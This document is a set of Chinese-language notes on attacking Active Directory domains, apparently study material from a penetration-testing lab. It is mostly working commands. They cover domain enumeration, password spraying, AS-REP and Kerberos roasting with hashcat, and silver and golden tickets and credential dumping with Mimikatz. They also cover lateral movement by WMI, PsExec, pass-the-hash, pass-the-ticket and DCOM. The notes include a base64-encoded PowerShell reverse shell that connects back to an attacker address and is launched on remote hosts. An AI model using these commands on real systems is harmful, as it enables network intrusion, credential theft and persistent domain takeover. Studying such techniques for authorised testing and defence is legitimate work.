使用Windows自带命令进行信息收集

查询域内的用户

1
net user /domain

查询某个用户在域内的所属用户组和权限

1
net user jeffadmin /domain

查询域内的所有组

1
net group /domain

查询域内某个组的所有成员

1
net group "Sales Department" /domain

使用PowerShell脚本进行信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Import-Module .\PowerView.ps1
Get-NetDomain
Get-NetUser
Get-NetUser | select cn
Get-NetUser | select cn,pwdlastset,lastlogon
Get-NetGroup | select cn
Get-NetGroup "Sales Department" | select member
Get-NetComputer
Get-NetComputer | select operatingsystem,dnshostname

# 查找域内共享
Find-DomainShare

# 访问域内共享
ls \\dc1.corp.com\sysvol\corp.com\

# 返回当前域用户可能在哪台机器上有管理员权限
Find-LocalAdminAccess

# 查找指定机器上有哪些用户登录
Get-NetSession -ComputerName 主机名

# 查询域内主机名和操作系统信息
Get-NetComputer | select dnshostname,operatingsystem,operatingsystemversion

# 返回在client74机器上的可能会话,如果当前用户有权限登录client74,就有可能能够拿到该机器上其他用户的凭据
.\PsLoggedon.exe \\client74

自动化域内信息收集

使用SharpHound

1
2
3
4
5
6
7
8
9
Import-Module .\Sharphound.ps1
# 收集域内所有信息,收集完毕之后会在目标目录下生成一个.zip文件
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\Public -OutputPrefix "corp audit"

# 在Kali上使用BloodHound分析域环境
# Kali运行
sudo neo4j start
# 服务启动后在新终端运行
bloodhound

凭据攻击

主要解决了拿到域内用户凭据之后怎么做

明文攻击

第一是密码喷洒,直接明文攻击,也就是爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 方法一
powershell -ep bypass

# —Pass指定密码,也可以-File指定字典,脚本会自动识别域内用户并进行攻击,-Admin会自动测试管理员账户
.\Spray-Passwords.ps1 -Pass Nexus123! -Admin

# 方法二,使用smb协议,这种攻击方式较慢
# -u 和 -p 提供字典或单个字符串。-d 域名,--continue-on-success,避免在第一个有效凭据处停止
crackmapexec smb 192.168.50.75 -u users.txt -p 'Nexus123!' -d corp.com -- continue-on-success

# 方法一和方法二的区别在于crackmapexec 在开始密码喷洒之前不会检查域的密码策略,但是crackmapexec会返回成功的用户是否在目标机器上有管理员权限,如下
crackmapexec smb 192.168.50.75 -u dave -p 'Flowers1' -d corp.com
# 如果上述命令返回Pwn3d!,则代表dave用户在.75机器上有管理员权限

# 方法三
.\kerbrute_windows_amd64.exe passwordspray -d corp.com .\usernames.txt "Nexus123!"

获取域用户的口令哈希

默认情况下,AD 用户帐户选项“不需要 Kerberos 预身份验证”处于禁用状态,这意味着对所有用户执行 Kerberos 预身份验证。但是,可以手动启用此帐户选项,如果该选项被启用,意味着没有 Kerberos 预身份验证,攻击者可以代表任何 AD 用户向域控制器发送 AS-REQ。从域控制器获取 AS-REP 后,攻击者可以对响应的加密部分执行离线密码攻击。这种攻击称为 AS-REP Roasting,可以拿到hash。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 方法一

# -dc-ip指定dc的IP,-outputfile指定输出文件,corp.com/pete指定域用户
impacket-GetNPUsers -dc-ip 192.168.50.70 -request -outputfile hashes.asreproast corp.com/pete

# hashes.asreproast
$krb5asrep$23$dave@CORP.COM:b24a619cfa58...

# hashcat破解凭据
sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force



# 方法二,使用Rubeus.exe,会自动识别可以拿到hash的用户
.\Rubeus.exe asreproast /nowrap
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
sudo hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
# 在kali上也可以达到相同的效果,需要指定DC的用户名
sudo impacket-GetUserSPNs -request -dc-ip 192.168.50.70 corp.com/pete
# PS:hashcat破解的时候最好两个mode都试一下

伪造票据凭证

如果拿到了服务帐户密码或其关联的 NTLM 哈希,我们可以伪造自己的服务票证,以任何我们想要的权限访问目标资源(下面的示例中为 IIS 应用程序)。此自定义创建的票证称为银票,如果服务主体名称在多台服务器上使用,则可以利用银票来对付所有服务器。

一般来说,需要收集以下三条信息来创建银票:

1
2
3
SPN 密码哈希
域 SID
目标 SPN

如下,以Jeff身份登录域内机器,访问iis_service的web服务,被拒绝

1
iwr -UseDefaultCredentials http://web04

第一步,需要拿到iis_service服务账户的NTLM哈希

1
2
privilege::debug
sekurlsa::logonpasswords

第二步,获取域 SID,可以输入 whoami /user 来获取当前用户的 SID。或者,也可以从 Mimikatz 的输出中检索 SPN 用户帐户的 SID,SID 由几个部分组成,我们只对域 SID 感兴趣。

1
2
whoami /user
# 返回S-1-5-21-1987370270-658905905-1781884369-1105,只需要1105前面的部分

第三步,获取目标的SPN,这里是web04上的HTTP SPN资源,因为我们想要访问在IIS上运行的网页

三个要素都收集好了之后,使用 kerberos::golden 模块创建伪造的服务票证,需要提供域 SID (/sid:)、域名 (/domain:) 和 SPN 运行的目标 (/target:)。我们还需要包括 SPN 协议 (/service:)、SPN 的 NTLM 哈希 (/rc4:) 和 /ptt 选项

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
kerberos::golden /sid:S-1-5-21-1987370270-658905905-1781884369
/domain:corp.com /ptt /target:web04.corp.com /service:http
/rc4:4d28cf5252d39971419580a51484ca09 /user:jeffadmin

# 返回如下
User : jeffadmin
Domain : corp .com (CORP)
SID : S-1-5-21-1987370270-658905905-1781884369
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 4d28cf5252d39971419580a51484ca09 - rc4_hmac_nt
Service : http
Target : web04.corp.com
Lifetime : 9/14/2022 4:37:32 AM ; 9/11/2032 4:37:32 AM ; 9/11/2032 4:37:32 AM
-> Ticket : ** Pass The Ticket **
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Golden ticket for 'jeffadmin @ corp .com' successfully submitted for current session

上面运行的结果返回表示SPN HTTP/web04.corp.com 的新服务票证已加载到内存中,并且 Mimikatz 在伪造的票证中设置了适当的组成员权限。从 IIS 应用程序的角度来看,当前用户既是内置的本地管理员(User Id:500),又是几个高权限组的成员,域管理员组(Groups Id ID:512),然后就可以正常访问目标服务了。

拿域内任意用户的凭证

前提是拿到域管理员组的权限用户之后,鸡肋

1
lsadump::dcsync /user:corp\dave

返回了dave用户的HTLM哈希就能爆破了

内网横向移动

使用WMI和WinRM进行横向移动

为了通过 WMI 在远程目标上创建进程,需要管理员本地组成员的凭据,该成员也可以是域用户

1
wmic /node:192.168.50.73 /user:jen /password:Nexus123! process call create "calc"

通过WMI执行Power Shell reverse shell

使用python对shellcode进行base64编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import sys
import base64
payload = '$client = New-Object
System.Net.Sockets.TCPClient("192.168.118.2",443);$stream =
$client .GetStream();[byte[]]$bytes = 0 . .65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName
System.Text.ASCIIEncoding) .GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-
String );$sendback2 = $sendback + "PS " + (pwd) .Path + "> ";$sendbyte =
([text.encoding]::ASCII) .GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte .Leng
th);$stream .Flush()};$client .Close()'
cmd = "powershell -nop -w hidden -e " +
base64.b64encode(payload.encode('utf16')[2:]).decode()
print(cmd)
PS C:\Users\jeff> $username = 'jen';
PS C:\Users\jeff> $password = 'Nexus123!';
PS C:\Users\jeff> $secureString = ConvertTo-SecureString $password -AsPlaintext - Force;
PS C:\Users\jeff> $credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
PS C:\Users\jeff> $Options = New-CimSessionOption -Protocol DCOM
PS C:\Users\jeff> $Session = New-Cimsession -ComputerName 192.168.50.73 -Credential $credential -SessionOption $Options
PS C:\Users\jeff> $Command = 'powershell -nop -w hidden -e
JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAF MAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5AD...
HUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA';
PS C:\Users\jeff> Invoke-CimMethod -CimSession $Session -ClassName Win32_Process - MethodName Create -Arguments @{CommandLine =$Command};

使用winrs命令也可以(前提是域用户需要成为目标主机上的管理员或远程管理用户组的一部分。)

1
winrs -r:files04 -u:jen -p:Nexus123! "cmd /c hostname & whoami"

使用PsExec进行横向移动

使用PsExec进行横向移动的前提是,首先,向目标计算机进行身份验证的用户需要属于管理员本地组(Administrators local group)。此外,ADMIN$ 共享必须可用,并且必须打开文件和打印机共享。最后两个要求默认已经得到满足,因为它们是现代 Windows Server 系统上的默认设置。

1
./PsExec64.exe -i  \\FILES04 -u corp\jen -p Nexus123! cmd

或者

1
2
net use \\FILES02
PsExec64.exe \\FILES02 cmd.exe

Pass the hash

允许攻击者使用用户的 NTLM 哈希而不是明文密码对远程系统或服务进行身份验证。这不适用于 Kerberos 身份验证,而仅适用于使用 NTLM 身份验证的服务器或服务。

与 PsExec 类似,此技术需要通过防火墙建立 SMB 连接(通常为端口 445)并启用 Windows 文件和打印机共享功能。

这种横向移动技术还需要名为 ADMIN$ 的管理共享可用。为了与此共享建立连接,攻击者必须使用本地管理员权限的凭据

1
2
# kali执行
/usr/bin/impacket-wmiexec -hashes :2892D26CDF84D7A70E2EB3B9F05C425E Administrator@192.168.50.73

Over pass the hash

Over pass the hash横向移动技术的本质是将 NTLM 哈希转换为 Kerberos 票证并避免使用 NTLM 身份验证。一个简单的方法是使用 Mimikatz 中的 sekurlsa::pth 命令。

1
sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell

然后拿到一个新的powershell,在新的powershell中运行

1
2
3
4
# 必须运行net use,不然不会生成Kerberos TGT
net use \\files04
# 验证TGT是否成功生成
klist

现在,已将 NTLM 哈希转换为 Kerberos TGT,从而允许使用任何依赖 Kerberos 身份验证(而不是 NTLM)的工具,例如PsExec

PsExec 可以远程运行命令,但不接受密码哈希。由于已经生成了 Kerberos 票证并在 新的PowerShell 会话中以 jen 运行,因此可以重用 TGT 来在 files04 主机上获取代码执行。

1
.\PsExec.exe \\files04 cmd

Pass the Ticket

over pass the hash技术是用来来获取 Kerberos TGT,从而允许使用 Kerberos 进行身份验证。我们只能在为其创建的机器上使用 TGT,但 TGS 可能提供更大的灵活性。

pass the ticket攻击利用了 TGS,它可以导出并重新注入到网络上的其他地方,然后用于对特定服务进行身份验证。此外,如果服务票证属于当前用户,则不需要管理权限。

例如这里目标是利用 dave 的凭据。dave 用户有权访问位于 WEB04 上的备份文件夹,而当前用户 jen 没有。

1
2
3
4
5
6
7
8
9
10
11
privilege::debug
sekurlsa::tickets /export

# 返回生成的票据,选择 dave@cifs-web04.kirbi 格式的凭据
dir *.kirbi
# [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi是在上面命令中返回的name
kerberos::ptt [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi
# powershell中检查是否成功
klist
# 访问web04的backup文件夹成功
ls \\web04\backup

使用DCOM进行横向移动

与 DCOM 的交互是通过 TCP 端口 135 上的 RPC 执行的,并且需要本地管理员访问权限才能调用 DCOM 服务控制管理器,这本质上是一个 API。

1
2
3
4
5
6
# 只改IP
$dcom =[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application .1","192.168.50.73"))
# 只关注第一个和第三个参数,这里是cmd 和 /c calc
$dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc","7")
# 同样也可以反弹shell
$dcom .Document .ActiveView .ExecuteShellCommand("powershell",$null,"powershell -nop -w hidden -e base64shell","7")

内网持久化控制

黄金票据

前提是能够获得 krbtgt 的域用户帐户的密码哈希,则可以创建自己的自定义 TGT,也称为黄金票据,黄金票证授予我们访问整个域资源的权限。

这里假设是jen用户在client74机器上尝试移动到dc上,目标是通过远程桌面登录域控制器。

其实,创建黄金票证并将其注入内存不需要任何管理权限,甚至可以从未加入域的计算机上执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
privilege::debug

# 获得 krbtgt 帐户的 NTLM 哈希以及域 SID
lsadump::lsa /patch
Domain : CORP / S-1-5-21-1987370270-658905905-1781884369
RID : 000001f4 (500)
User : Administrator
LM :
NTLM : 2892d26cdf84d7a70e2eb3b9f05c425e
RID : 000001f5 (501)
User : Guest
LM :
NTLM :
RID : 000001f6 (502)
User : krbtgt
LM :
NTLM : 1693c6cefafffc7af11ef34d1c788f47

# 删除任何现有的 Kerberos 票据
kerberos::purge

# 需要提供一个现有帐户,这里是jen
kerberos::golden /user:jen /domain:corp.com /sid:S-1-5-21-1987370270-658905905-1781884369 /krbtgt:1693c6cefafffc7af11ef34d1c788f47 /ptt

misc::cmd

# 然后在新的cmd中运行
# 如果这里将 PsExec 连接到域控制器的 IP 地址而不是主机名,将强制使用 NTLM 身份验证,并且访问失败
PsExec.exe \\dc1 cmd.exe

其他命令

1
2
3
4
5
evil-winrm -i 172.16.194.83 -u wario -p 'Mushroom!'

proxychains impacket-psexec relia/administrator:'vau!XCKjNQBv2$'@172.16.191.21

proxychains impacket-wmiexec -hashes :2e208ad146efda5bc44869025e06544a leon@172.16.212.10